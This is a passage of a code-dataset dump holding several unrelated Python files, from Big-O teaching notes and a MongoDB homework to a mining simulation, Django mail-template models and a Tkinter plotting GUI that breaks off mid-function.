np.array([cv2.imread(x) for x in data])\n if width and height: \n X = np.asarray([cv2.resize(x,(width,height)) for x in X])\n X = np.asarray([cv2.cvtColor(x,cv2.COLOR_BGR2RGB) for x in X]).flatten().reshape(len(data),-1)\n Y = np.array([labels[x.split('.png')[0]] for x in data])\n return (X,Y)\n\ndef prepare_fft_data(data: Dict,\n labels: List,\n mode: str = 'stft'\n ) -> Tuple[np.ndarray,np.ndarray]:\n \"\"\" \n Easy to use function that applies a short time fourier transform \n or discrete fourier transform on sampled signal, that later can be used \n as a data into ANN or RNN Keras model.\n Parameters: \n : data - Dict - Dictionary that holds the data that should be converted. \n : labels - List - list of corresponding data labels.\n : mode - str - whether to use the short time fourier transform or discrete \n fourier transform:\n NOTE: if you want to use STFT, then pass \"stft\" as an argument, otherwise \n pass 'fft'. \n Returns: \n : Tuple - tuple of converted data and corresponding labels.\n \"\"\"\n ground_truth_labels = []\n fourier_values = []\n if mode == 'fft':\n for label,value in zip(labels,data.values()):\n n = len(value[0][0])\n fourier = np.abs(fftpack.fft(value[0][0]))/n\n ground_truth_labels.append(label)\n fourier_values.append(fourier)\n else:\n for label,value in zip(labels,data.values()): \n fourier = np.abs(lr.stft(value[0][0],win_length=4096,hop_length=2048,n_fft=4096))\n ground_truth_labels.append(label)\n fourier_values.append(fourier)\n \n return (np.array(fourier_values),np.array(ground_truth_labels))","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"598136755","text":"import logging\n\nimport pytest\nimport allure\nfrom testcode.calulator import Calculator\n\n@allure.feature('测试计算器')\nclass TestCalculator:\n\n @pytest.mark.add\n @allure.title('测试加法:{getaddData}')\n @allure.story('测试加法')\n def test_add(self,getaddData):\n logging.info(f'【开始计算】_{getaddData}')\n data=getaddData\n assert data[2]==Calculator().add(data[0],data[1])\n logging.info('【计算结束】')\n\n @pytest.mark.div\n @allure.title('测试除法:{getdivData}')\n @allure.story('测试除法')\n def test_mul(self,getdivData):\n logging.info(f'【开始计算】_{getdivData}')\n data=getdivData\n try:\n assert data[2]==Calculator().div(data[0],data[1])\n except ZeroDivisionError:\n print('除数不能为0')\n logging.info('【计算结束】')\n\n","sub_path":"testcase/test_calculator.py","file_name":"test_calculator.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"11283405","text":"\n# if we increase input size, how many more steps does this function need to take?\n\n\nmy_list = [1, 2, 3, 4, 5]\n\ndef print_list(arr):\n for thing in arr:\n print(thing)\n\nprint_list(my_list) # 5\n\nlonger_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n\nprint_list(longer_list) # 10\n\n# double input size\n# doubled the steps\n# one-to-one ratio!\n# linear\n# O(n)\n\n\ndef nested_loop(arr):\n for thing in arr:\n for other_thing in arr:\n print(thing, other_thing)\n\nnested_loop(my_list) # takes 25\n\nnested_loop(longer_list) # takes 100 steps\n\nnested_loop(list_100_long) # 10000\n# 10x input\n# 100x steps\n\n\n# doubled input size\n# quadrupled the steps!\n# two-to-four ratio\n# quadratic time complexity\n\n\n# Count all the steps\n# Then calculate Big O\n\ndef my_func(arr):\n a = 1\n b = 2\n c = a * b\n\n for x in range(1000):\n print(x)\n\n for thing in arr:\n z = 10 * 20\n print(thing)\n\nmy_func(my_list)\nmy_func(longer_list)\n\n# n == len(arr) == len(string) == size of input\n## does this change, if I change my input?\n\n# 3 + 1000 + (4 TRILLION)\n\n# O(n)\n\n# (3 + 1000 + (4 * n)) ->\n# (4n) ->\n# (n) ->\n# O(n) - linear time\n\n# \"on the order of\"\n# n, n^2, n^3\n\ndef two_loops(arr):\n for x in range(1000000000):\n z = x * x\n print(z)\n\n for thing in arr:\n print(thing)\n\n for thing_again in arr:\n print(thing_again)\n\n# Big O?\n\n# Line by line walkthrough\n## (big_num * 2) + len(arr) + len(arr)\n## (big_num * 2) + (2 * len(arr))\n# O(n)\n\n\ndef foo(n):\n sq_root = int(math.sqrt(n))\n for i in range(0, sq_root):\n print(i)\n\n# 36 --> 6\n# 100 --> 10\n# 10000 --> 100\n# O(log(n))\n\ndef bisect(n): # O(log(n))\n\n while n > 1:\n n = n/2\n\ndef linear(n):\n while n > 1:\n n -= 1\n\n# 16\n# 8\n# 4\n# 2\n# 1\n# 2**4\n\n# 800\n# 400\n# 200\n# 100\n# 50\n# 25\n# 12.5\n# 6.25\n# 3 \n# 1.5\n# 0.75~\n\n# (2**10)\n# log_2 (16) --> (2**4)\n\n\n\n\ndef bar(x):\n sum = 0\n for i in range(0, 1463):\n i += 1\n for j in range(0, x):\n for k in range(x, x + 15):\n sum += 1\n\n# 1463 * (1 + (n * (15 * 1)))\n# 1463 * (1 + 15n)\n# 1463 + (1463 * 15n)\n# O(n)\n\n\n\ndef baz(array):\n print(array[1])\n midpoint = len(array) // 2\n for i in range(0, midpoint):\n print(array[i])\n for _ in range(1000):\n print('hi')\n\n# 1 + 1 + n/2 + 1000\n# 1002 + n/2\n# O(n * 1/2)\n# O(n)\n\n# n == 2n == n * 1/2\n\n# array of length 10 vs 100\n## 5 vs 50\n\n## increase input size \n## compare the increase in the function steps\n \n\ndef make_num_pairs(n):\n for num_one in range(n):\n for num_two in range(n):\n print(num_one, num_two)\n\ndef make_item_pairs(items):\n for item_one in items:\n for item_two in items:\n print(item_one, item_two)\n\n \ndef simple_recurse(n):\n if n <= 1:\n return n\n simple_recurse(n - 1)\n\nsimple_recurse(5) # 10 steps\nsimple_recurse(10) # 20 steps\n# O(n)\n\ndef weird_recurse(num):\n if n <= 1:\n return n\n simple_recurse(n - 1)\n simple_recurse(n - 1)\n simple_recurse(n - 1)\n\n# double last time: O(n)?\n# quadratic? O(n^2)\n# exponential: 3^n","sub_path":"m1_big_o_notation.py","file_name":"m1_big_o_notation.py","file_ext":"py","file_size_in_byte":3109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"279174150","text":"from pymongo import MongoClient\nfrom pymongo import errors\nfrom pprint import pprint\nimport json\n\npath = '/Users/svetlanaskobeltcyna/PycharmProjects/Data_collection_methods/lesson2/'\nwith open(path + 'vacancy_data.json') as f:\n data = json.load(f)\n\n#1) Развернуть у себя на компьютере/виртуальной машине/хостинге MongoDB и реализовать функцию,\n# записывающую собранные вакансии в созданную БД (без датафрейма)\n\ndef insert_data(data):\n for doc in data:\n insert_unique_data(doc)\n\n\n#2) Написать функцию, которая производит поиск и выводит на экран вакансии с заработной платой больше введенной суммы.\n# Поиск по двум полям (мин и макс зарплату)\n\ndef find_vac_by_amount(amount):\n for vac in hh_vacancy.find({'$or': [{'Min_compensation': {'$gt': amount}}, {'Min_compensation': {'$gt': amount}}]}):\n pprint(vac)\n\n\n# 3) Написать функцию, которая будет добавлять в вашу базу данных только новые вакансии с сайта\n\ndef insert_unique_data(doc):\n try:\n hh_vacancy.insert_one(doc)\n except errors.DuplicateKeyError:\n pass\n\n\nclient = MongoClient('localhost',27017)\ndb = client['vacancys_db']\n\nhh_vacancy = db.hh\n\ninsert_data(data)\nfind_vac_by_amount(100000)\n\nprint(db.hh.count())\n\n\n\n\n\n\n\n\n","sub_path":"Homework_3.py","file_name":"Homework_3.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"56847213","text":"import random as rand\nimport requests\nimport grequests\nimport time\nimport asyncio, threading, sys\nimport pprint as pp\n\nfrom settings import *\nserverurl = 'http://10.89.91.27:5000' if int(sys.argv[1]) == 1 else 'http://0.0.0.0:5000'\n\ncompletedChains = set()\nopen(\"../miner/money.txt\",\"w\").close()\nopen(\"../miner/info.txt\",\"w\").close()\n\n\nclass Miner(threading.Thread):\n #This initializes the Miner and its thread for execution\n def __init__(self,internalId):\n threading.Thread.__init__(self)\n self.totalCoins = 0\n self.internalID = internalId\n self.totalPower = rand.randint(1,100)\n self.allChains = ['C1','C2']\n self.all_blocks = {}\n r = requests.get(serverurl+\"/join/\"+str(self.totalPower))\n self.ID = eval(r.text)['data']['miner_id']\n print(\"Hello, I am Miner \"+str(self.ID))\n self.discover_chains()\n\n # When a miner is initialized, it will get information about the available chains through here\n def discover_chains(self):\n r = requests.get(serverurl+\"/discover/\")\n self.allChains = []\n keys = eval(r.text)['data'].keys()\n for i in keys:\n self.allChains.append(eval(r.text)['data'][i])\n self.allChains[-1]['my_relative_power'] = 0\n self.all_blocks[i] = {}\n\n # This is where the miner decides how much power to put into every chain\n def send_chain_power(self):\n powerPerChain = int(self.totalPower/len(self.allChains))\n urls = []\n\n for i,val in enumerate(self.allChains):\n urls.append(serverurl+\"/chain_powers/\"+str(val['chain_id'])+'/'+str(powerPerChain)+'/'+str(self.ID))\n\n result = (grequests.get(u) for u in urls)\n result = [eval(a.text)['data'] for a in grequests.map(result)]\n for i in range(len(self.allChains)):\n # print(\"Miner \" + str(self.ID) + \" has relative power \" + str(result[i]['relative_power']) + \" on chain \" + str(i+1))\n self.allChains[i]['my_relative_power'] = result[i]['relative_power']\n\n # Here the miner has already received its relative power, so it makes that\n #many guesses and tells the server if it got it right or not. If its the\n # the first miner to tell the server its right, it will get the reward\n def do_mining(self):\n for i,val in enumerate(self.allChains):\n numberTries = int(val['my_relative_power'] * 100)\n step = val['step']\n r = requests.get(serverurl+\"/who_won/\"+str(self.ID)+\"/\"+str(rand.randint(1,max_solution_size))+\"/\"+str(step)+'/'+str(val['chain_id']))\n data = eval(r.text)['data']\n\n\n # if miner found the i am not on correct step skip\n if data['step'] == step:\n\n actual_sol = str(eval(r.text)['data']['solution'])\n\n # minimum tries\n # while True and numberTries>=1:\n # generate all solutions\n all_solutons = [str(rand.randint(1,max_solution_size)) for i in range(numberTries)]\n\n if actual_sol in all_solutons:\n # send my solution for current block\n r = requests.get(serverurl+\"/who_won/\"+str(self.ID)+\"/\"+actual_sol+\"/\"+str(val['step'])+'/'+str(val['chain_id']))\n if(eval(r.text)['data']['step'] > step):\n\n self.all_blocks[str(i+1)][int(data['step'])] = 1\n if(str(self.ID) == eval(r.text)['data']['winner_last']):\n self.totalCoins += eval(r.text)['data']['reward']\n\n self.allChains[i] = eval(r.text)['data']\n completedChains.add(str(eval(r.text)['data']))\n # break\n else:\n self.all_blocks[str(i+1)][int(data['step'])] = 1\n\n #This is the threading loop\n def run(self):\n start_time = time.time()\n\n current_round = 0\n while True:\n if current_round >= max_rounds:\n break\n\n self.send_chain_power()\n self.do_mining()\n\n current_blocks_discovered = 0\n for k,v in self.all_blocks.items():\n for k1,v1 in v.items():\n current_blocks_discovered+=v1\n\n # print((self.internalID, self.all_blocks))\n with open(\"../miner/money.txt\",\"a+\") as f:\n f.write(\"Miner \" + str(self.internalID) + \" has Money \" + str(self.totalCoins) + \"\\n\")\n\n if current_blocks_discovered != current_round:\n if self.internalID == 0:\n with open(\"../miner/info.txt\",'a+') as f:\n fi = float(int((time.time() - start_time)*100))/100\n stri = \"This is Info for block \" + str(current_round)+\" which took \" + str(fi) + \" seconds.\"\n f.write(stri+\"\\n\")\n print(stri)\n for i,val in enumerate(self.allChains):\n f.write(str(val)+\"\\n\")\n\n start_time = time.time()\n\n current_round = current_blocks_discovered\n # print((self.all_blocks, current_blocks_discovered))\n #print(\"Miner \" + str(self.ID) + \" finished his round in \" + str(time.time() - start_time))\n #print(\"Miner \" + str(self.ID) + \" sees \" + str(self.allChains))\n\n\nr = requests.get(serverurl+\"/refresh/\")\nMiners = []\na = time.time()\nfor i in range(int(sys.argv[2])):\n Miners.append(Miner(i))\n Miners[-1].start()\n\n# list(map((lambda x: x.start()), Miners))\n","sub_path":"miner/miner.py","file_name":"miner.py","file_ext":"py","file_size_in_byte":5559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"164170898","text":"import pandas as pd\nimport numpy as np\n\n# Import all utility functions\nimport utils\nimport gplearn.skutils\n\nstores = pd.read_csv('../input/store.csv')\ntrain = pd.read_csv('../input/train.csv', parse_dates = ['Date'])\ntest = pd.read_csv('../input/test.csv', parse_dates = ['Date'])\n\n\ndef process(input_data, store_data, max_comp_distance=100000, sort_by=None):\n \n # Create a copy of the data\n data = input_data.copy()\n \n if sort_by:\n data.sort_values(by=sort_by, inplace=True)\n\n # Merge the Store information to the data\n data = data.merge(store_data, on='Store')\n data.drop(['Store'], axis=1, inplace=True)\n \n if 'Sales' not in data.columns:\n # Merge creates new Ids, so we need to reset the Ids\n # on the Id column for the test set\n data.set_index('Id', inplace=True) \n \n # Process the Date field\n data['year'] = data.Date.apply(lambda x: x.year)\n data['month'] = data.Date.apply(lambda x: x.month)\n # data['day'] = data.Date.apply(lambda x: x.day)\n data['woy'] = data.Date.apply(lambda x: x.weekofyear)\n data.drop(['Date'], axis = 1, inplace=True)\n \n # Normalize Competition Distance\n data['CompetitionDistance'] = data.CompetitionDistance.fillna(max_comp_distance)\n \n # Process the Competition Open fields\n data['CompetitionOpen'] = 12 * (data.year - data.CompetitionOpenSinceYear) + (data.month - data.CompetitionOpenSinceMonth)\n data['CompetitionOpen'] = data.CompetitionOpen.apply(lambda x: x if x > 0 else 0)\n data.drop(['CompetitionOpenSinceMonth', 'CompetitionOpenSinceYear'], axis=1, inplace=True)\n \n # Process the Promo Open field\n data['PromoOpen'] = 12 * (data.year - data.Promo2SinceYear) + (data.woy - data.Promo2SinceWeek) / float(4)\n data['PromoOpen'] = data.CompetitionOpen.apply(lambda x: x if x > 0 else 0)\n data.drop(['Promo2SinceYear', 'Promo2SinceWeek'], axis=1, inplace=True)\n \n # Normalize State Holiday field\n data['StateHoliday'] = data.StateHoliday.apply(lambda x: x if x in ['a', 'b', 'c'] else 0)\n \n # Dummy Coding\n for dummy in ['StateHoliday', 'StoreType', 'Assortment', 'DayOfWeek']:\n # Create dummy columns\n data = pd.get_dummies(data, columns=[dummy])\n \n # Remove original column\n if dummy in data.columns:\n data.drop([dummy], axis=1, inplace=True)\n \n # Fix State Holiday columns, some values are not present in the testing data\n for col in ['StateHoliday_0', 'StateHoliday_a', 'StateHoliday_b', 'StateHoliday_c']:\n if col not in data.columns:\n data[col] = np.zeros(len(data.index))\n \n # Drop unused Columns\n data.drop(['PromoInterval'], axis=1, inplace=True)\n \n # Make sure columns are sorted\n data = data.reindex_axis(sorted(data.columns), axis=1)\n \n # training data\n if 'Sales' in data.columns:\n \n # Remove NaN values\n data.fillna(0, inplace=True)\n \n # Consider only open stores for training. Closed stores wont count into the score\n data = data[data.Open != 0]\n \n # Use only Sales bigger then zero\n data = data[data.Sales > 0]\n\n return data.drop(['Sales', 'Customers'], axis=1), data.Sales\n \n # testing data\n else:\n # Remove NaN values\n # appear only in Open column\n data.fillna(1, inplace=True)\n \n return data,\n\nX_train, y_train = process(train, stores)\n\nX_test, = process(test, stores)\n\nfrom sklearn.ensemble import RandomForestRegressor\n\n# Classifier Parameters\nclf_params = {\n 'n_estimators': 20\n}\n\n# Random Forest Classifier\nclf = RandomForestRegressor(**clf_params)\n\nprint(\"start predicting\")\n\nclf.fit(X_train.values, y_train.values)\ny_pred = clf.predict(X_test.values)\n\n\nresult = pd.DataFrame({'Id': X_test.index.values, 'Sales': y_pred})\nresult.to_csv('submission_%s.csv' % utils.timestamp(), index=False)\n\n","sub_path":"scripts/rf_python.py","file_name":"rf_python.py","file_ext":"py","file_size_in_byte":3900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"25187749","text":"###############################################################################\n# plot_dustwapogee: plot the dust-map at 5 kpc with the APOGEE fields in the \n# sample overlayed\n###############################################################################\nimport sys\nimport numpy\nimport healpy\nimport matplotlib\nmatplotlib.use('Agg')\nfrom galpy.util import bovy_plot\nimport apogee.select.apogeeSelect\nimport dust\nimport define_rcsample\n# nside to work at, 2048 is the max\n_NSIDE=2048\ndef plot_dustwapogee(plotname):\n # Load the dust map\n green15map= dust.load_green15(5.,nest=True,nside_out=_NSIDE)\n green15map[green15map == healpy.UNSEEN]= -1.\n # plot it\n healpy.visufunc.mollview(green15map,\n nest=True,\n xsize=4000,min=0.,max=.8,\n format=r'$%g$',\n title='',\n cmap='gist_yarg',\n unit='$A_H\\,(\\mathrm{mag})$')\n # Load the RC data to get the fields\n data= define_rcsample.get_rcsample()\n loc_ids= numpy.array(list(set(data['LOCATION_ID'])))\n # Load the selection function, just to get the field centers\n apo= apogee.select.apogeeSelect(_justprocessobslog=True)\n theta= numpy.empty(len(loc_ids))\n phi= numpy.empty(len(loc_ids))\n for ii,loc_id in enumerate(loc_ids):\n tl, tb= apo.glonGlat(loc_id)\n theta[ii]= (90.-tb)/180.*numpy.pi\n phi[ii]= tl/180.*numpy.pi\n hib= numpy.fabs((numpy.pi/2.-theta)) > (8./180.*numpy.pi)\n healpy.visufunc.projplot(theta[hib],phi[hib],'o',ms=5.,mfc='none',mew=0.8,\n mec='k')\n lowb= True-hib\n healpy.visufunc.projplot(theta[lowb],phi[lowb],'o',ms=5.,mfc='none',\n mec='w',mew=0.8)\n bovy_plot.bovy_end_print(plotname)\n\nif __name__ == '__main__':\n plot_dustwapogee(sys.argv[1])\n","sub_path":"py/plot_dustwapogee.py","file_name":"plot_dustwapogee.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"588403397","text":"from django.db import models\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.urls import reverse\nfrom django.core.mail import EmailMessage\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.contrib.contenttypes.fields import GenericForeignKey\n\nimport pystache\n\nfrom users.models import Lageruser\n\nUSAGES = [\n (\"lent\", _(\"Device has been lent\")),\n (\"new\", _(\"New Device is created\")),\n (\"reminder\", _(\"Reminder that device is still owned\")),\n (\"returned\", _(\"Device has been returned by user\")),\n (\"room\", _(\"Room has been changed\")),\n (\"overdue\", _(\"Reminder that device is overdue\")),\n (\"owner\", _(\"Lending owner has been changed\")),\n (\"trashed\", _(\"Device has been trashed\")),\n]\n\n\nclass MailTemplate(models.Model):\n name = models.CharField(_('Name'), max_length=200, unique=True)\n subject = models.CharField(_('Subject'), max_length=500)\n body = models.CharField(_('Body'), max_length=10000)\n usage = models.CharField(_('Usage'), choices=USAGES, null=True, blank=True, max_length=200)\n\n def __str__(self):\n return self.name\n\n class Meta:\n ordering = ['name']\n verbose_name = _('Mailtemplate')\n verbose_name_plural = _('Mailtemplates')\n permissions = (\n (\"read_mailtemplate\", _(\"Can read Mailtemplate\")),\n )\n\n def get_absolute_url(self):\n return reverse('mail-detail', kwargs={'pk': self.pk})\n\n def get_edit_url(self):\n return reverse('mail-edit', kwargs={'pk': self.pk})\n\n def send(self, request, recipients=None, data=None):\n datadict = {}\n datadict[\"device\"] = {\n \"archived\": data[\"device\"].archived,\n \"created_at\": data[\"device\"].created_at,\n \"creator\": data[\"device\"].creator,\n \"currentlending\": data[\"device\"].currentlending,\n \"department\": data[\"device\"].department,\n \"description\": data[\"device\"].description,\n \"devicetype\": (data[\"device\"].devicetype.name if data[\"device\"].devicetype is not None else \"\"),\n \"group\": data[\"device\"].group,\n \"hostname\": data[\"device\"].hostname,\n \"id\": data[\"device\"].id,\n \"inventoried\": data[\"device\"].inventoried,\n \"inventorynumber\": data[\"device\"].inventorynumber,\n \"manufacturer\": data[\"device\"].manufacturer,\n \"name\": str(data[\"device\"]),\n \"room\": (data[\"device\"].room.name + \" (\" + data[\"device\"].room.building.name + \")\" if data[\n \"device\"].room is not None else \"\"),\n \"serialnumber\": data[\"device\"].serialnumber,\n \"templending\": data[\"device\"].templending,\n \"trashed\": data[\"device\"].trashed,\n \"webinterface\": data[\"device\"].webinterface,\n }\n if data[\"device\"].currentlending is not None:\n datadict[\"device\"][\"currentlending\"] = {\n \"owner\": str(data[\"device\"].currentlending.owner),\n \"duedate\": data[\"device\"].currentlending.duedate,\n \"lenddate\": data[\"device\"].currentlending.lenddate\n },\n else:\n datadict[\"device\"][\"currentlending\"] = \"\"\n\n datadict[\"user\"] = {\n \"username\": data[\"user\"].username,\n \"first_name\": data[\"user\"].first_name,\n \"last_name\": data[\"user\"].last_name,\n \"main_department\": data[\"user\"].main_department\n }\n if \"owner\" in data:\n datadict[\"owner\"] = {\n \"username\": data[\"owner\"].username,\n \"first_name\": data[\"owner\"].first_name,\n \"last_name\": data[\"owner\"].last_name\n }\n body = pystache.render(self.body, datadict)\n subject = pystache.render(self.subject, datadict)\n\n email = EmailMessage(subject=subject, body=body, to=recipients)\n email.send()\n mailhistory = MailHistory()\n mailhistory.mailtemplate = self\n mailhistory.subject = self.subject\n mailhistory.body = body\n mailhistory.sent_by = request.user\n if \"device\" in data:\n mailhistory.device = data[\"device\"]\n mailhistory.save()\n\n\nclass MailTemplateRecipient(models.Model):\n mailtemplate = models.ForeignKey(MailTemplate, related_name='default_recipients', on_delete=models.CASCADE)\n content_type = models.ForeignKey(ContentType, on_delete=models.CASCADE)\n object_id = models.PositiveIntegerField()\n content_object = GenericForeignKey('content_type', 'object_id')\n\n def __str__(self):\n return str(self.content_type.name + \": \" + str(self.content_object))\n\n\nclass MailHistory(models.Model):\n mailtemplate = models.ForeignKey(MailTemplate, on_delete=models.CASCADE)\n subject = models.CharField(_('Subject'), max_length=500)\n body = models.CharField(_('Body'), max_length=10000)\n sent_by = models.ForeignKey(Lageruser, null=True, on_delete=models.SET_NULL)\n sent_at = models.DateTimeField(auto_now_add=True)\n device = models.ForeignKey(\"devices.Device\", null=True, on_delete=models.CASCADE)\n\n def get_absolute_url(self):\n return reverse('mailhistory-detail', kwargs={'pk': self.pk})\n","sub_path":"mail/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"487266640","text":"\"\"\" \n DATA MONITOR GUI FOR PANTA\n\n Author\n -------\n Yuichi Kawachi \n Kyushu Univ. IGSES AEES\n kawachi@riam.kyushu-u.ac.jp\n\n IGSES *Interdisciplinary Graduate School of Engineering Science\n AEES *Department of Advanced Energy Engineering Science\n \n Revision History\n ----------------\n [21-Aug.-2018] Creation[v1.0.0]\n [24-Aug.-2018] Operation Confermerd\n\n Copyright\n ---------\n 2018 Yuichi Kawachi (kawachi@riam.kyushu-u.ac.jp)\n\"\"\"\nimport tkinter as tk, tkinter.ttk as ttk #tkinter.messagebox as mb,tkinter.filedialog as fd\nimport matplotlib,os,sys,subprocess\nimport pandas as pd, scipy.signal as sig, numpy as np\nmatplotlib.use(\"TkAgg\")\nimport daq as dq, kawa.myplot as my, kawa.spectrum as ksp #kawa_pack1\nimport matplotlib.pyplot as pl, matplotlib.colors as mc\nfrom matplotlib.figure import Figure\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg,NavigationToolbar2TkAgg\n#---------------- size controll ----------------#\nhit, wid, widf1, widf2 = 1000, 1450, 1000, 450\nfsize = (9,8.2)\nmy.defalt(color = \"mystyle\")\nfid = dq.pantaADC()\nhome = os.environ[\"HOME\"]\n\n#--------------- FILE and PATH -----------------#\ndata_path = home + \"/data\"\nrefpath = home + \"/KYTHON/ref/\"\nref_list = sorted(os.listdir(refpath)) \nDAGS = {}\nfor i in range(len(ref_list)):\n DAGS[ref_list[i]] = pd.read_csv(refpath + ref_list[i],dtype = str,comment =\"#\")\n#subprocess.call(\"python {}daemon_for_dag.py\".format(home+\"/KYTHON/app/\"), shell = True)\n#============================================================#\n# APP CONFIG #\n#============================================================#\nroot = tk.Tk()\nroot.title(\"DETAIL MONITOR GUI for PANTA\")\nroot.geometry(str(wid) + \"x\" + str(hit))\nf1 = tk.Frame(root,width = widf1 ,height = hit,bg = \"pink\")\nf2 = tk.Frame(root,width = widf2,height = hit)\nf1.pack(side = \"left\")\nf2.pack(side = \"right\")\n\n#============================================================#\n# FRAME 1 PLOT CANVAS #\n#============================================================#\nfig, ax = pl.subplots(1,figsize=fsize)\nfig.suptitle(\"ShotNo. ######_###\",fontsize = 30)\ncanvas = FigureCanvasTkAgg(fig, master = f1)\ncanvas.draw()\ncanvas.get_tk_widget().pack(anchor = \"w\")\ntoolbar = NavigationToolbar2TkAgg(canvas,f1)\ntoolbar.update()\ncanvas._tkcanvas.pack(anchor = \"w\")\n\n#============================================================#\n# FRAME 2 MAIN CONFIGURATOR #\n#============================================================#\nf20 = tk.Frame(f2, width = widf2, height = 5)\nf21 = tk.Frame(f2, width = widf2, height = 5)\nf20.pack(anchor = \"e\",padx = 5,pady =5)\nf21.pack(anchor = \"e\",padx = 5)\n\n#============================================================#\n# FRAME 2-1 PATH MANAGER #\n#============================================================#\ndatapath = tk.Entry(f20, width = 20,bg = \"white\")\ndatapath.insert(tk.END,data_path)\nlbl_data = tk.Label(f20,text = \"DATA PATH\",font = (\"\",15,\"bold\"))\nlbl_data.grid(row = 0,column = 0,columnspan = 2,sticky = \"w\",padx = 20)\ndatapath.grid(row = 0,column = 2,sticky = \"s\",columnspan = 2)\n\n#============================================================#\n# FRAME 2-2 SHOT NOMBER #\n#============================================================#\nShot = tk.Entry(f20, width = 12,bg = \"white\")\nSub = tk.Entry(f20, width = 7 ,bg = \"white\") \n#get dir list => sorted and extract first=> split with \"_\" \ninit_shot = sorted(os.listdir(datapath.get()) ,reverse = True) [1].split(\"_\") \nShot.insert(tk.END,init_shot[0])\nSub.insert(tk.END ,init_shot[1])\nlbl_shot = tk.Label(f20,text = \"SHOT NO.\",font = (\"\",15,\"bold\"))\nlbl_shot.grid(row=1,column = 0,columnspan = 2,sticky = \"w\",padx = 20)\nShot.grid (row=1,column = 2,padx = 0,sticky = \"s\")\nSub.grid (row=1,column = 3,padx = 0,sticky = \"s\")\n\n#============================================================#\n# FRAME 2-3 TAB MANAGER #\n#============================================================#\nnote = ttk.Notebook(f2, width = widf2, height = hit - 20)\ntab1 = tk.Frame(note)\ntab2 = tk.LabelFrame(note,text = \"Plot or Error Log\",font = (\"\",20,\"bold\"),labelanchor = \"n\")\nnote.add(tab1, text = \" 1D_plot \")\nnote.add(tab2, text = \" log   \")\nnote.pack()\n\n#============================================================#\n# FRAME 2-3-1 1D_plot #\n#============================================================#\nsub = tk.Frame(tab1)\nsub.pack (fill = \"x\")\nsub1 = tk.Frame(tab1)#,text = \"Subplot1\",font = (\"\",20,\"bold\"),labelanchor = \"n\")\nsub1.pack ()\nsub2 = tk.Frame(tab1)\nsub2.pack (fill = \"x\")\n\nval = tk.BooleanVar()\ncombo_label = tk.Label(sub,text = \"Reffile\",font = (\"\",15))\ncombo = ttk.Combobox(sub,state=\"readonly\",width = 10)\ncombo[\"values\"]= ref_list\ncombo.set(ref_list[1])\ncombo.pack(side = \"right\",padx = 10)\ncombo_label.pack(side = \"right\")\n\ncheck_frame = tk.Frame(sub1)\ncheck_frame.pack(fill = \"x\")\n\nval_cp = tk.BooleanVar()\nval_cp.set(True)\ntime_label = tk.Label(sub2,text = \"time (ms)\",font = (\"\",15))\ndeci_label = tk.Label(sub2,text = \"decimate \",font = (\"\",15))\ntime_entry_s = tk.Entry(sub2, width = 10, justify = \"right\")\ntime_entry_e = tk.Entry(sub2, width = 10, justify = \"right\")\ndeci_entry = tk.Entry(sub2, width = 10, justify = \"right\")\ntime_entry_s.insert(tk.END,\"0\")\ntime_entry_e.insert(tk.END,\"600\")\ndeci_entry.insert (tk.END,\"10\")\n\n\nallplot_ch = tk.Checkbutton(sub2,text = \"All plot\")\nallplot_ch.grid(row = 0,column = 0)\n\ntime_label.grid (row = 0,column = 1,sticky = \"w\",padx = 40,columnspan = 2)\ntime_entry_s.grid(row = 0,column = 3)\ntime_entry_e.grid(row = 0,column = 4)\ndeci_label.grid (row = 1,column = 1,sticky = \"w\",padx = 40,columnspan = 2)\ndeci_entry.grid (row = 1,column = 3)\npane = tk.Frame(tab1,height = 40,width = 300)\npane.pack(fill = \"x\")\nbtn_q = tk.Button(pane,text = \"quit\", width = 10)\nbtn_s = tk.Button(pane,text = \"save\", width = 10)\nbtn_c = tk.Button(pane,text = \"clear\",width = 10)\nbtn_p = tk.Button(pane,text = \"plot\", width = 10)\n\nbtn_p.pack(side = \"right\",padx = 3)\nbtn_s.pack(side = \"right\",padx = 3)\nbtn_c.pack(side = \"right\",padx = 3)\nbtn_q.pack(side = \"right\",padx = 3)\n#============================================================#\n# FRAME 2-4 LOGGER #\n#============================================================#\n# text = tk.Text(tab2,bg = \"white\",bd = 5)\n# text.pack(fill = \"both\")\n# class StdoutRedirector(object):\n# def __init__(self, widget):\n# self.widget = widget\n# def write(self, string):\n# self.widget.insert(tk.END,string)\n# self.widget.insert(tk.END,\"\")\n# self.widget.see(tk.END) \n# sys.stdout = StdoutRedirector(text)\n# sys.stderr = StdoutRedirector(text)\n# print(\"Hello Data Monitor!\")\n#============================================================#\n# EVENT CONFIGURATION #\n#============================================================#\n#init combo\nch_list = []\ndg = DAGS[combo.get()]\ncount = 0\nfor i in range( len(dg) ):\n ch = tk.Checkbutton(check_frame,text = dg.loc[i,\"name\"])\n ch.grid(row = count//5,column = i - count//5*5,padx = 2,pady = 5)\n ch_list.append(ch)\n count+=1\n\n\ndef ccb(event):\n global ch_list\n for i in range(len(ch_list)):\n ch_list[i].destroy()\n ch_list = []\n dagfile = DAGS[combo.get()]\n count = 0\n for i in range( len(dagfile) ):\n ch = tk.Checkbutton(check_frame,text = dagfile.loc[i,\"name\"])\n ch.grid(row = count//5,column = i - count//5*5,padx = 2,pady = 5)\n ch_list.append(ch)\n count+=1\n\n\ndef plot1d(event):\n #configuration\n 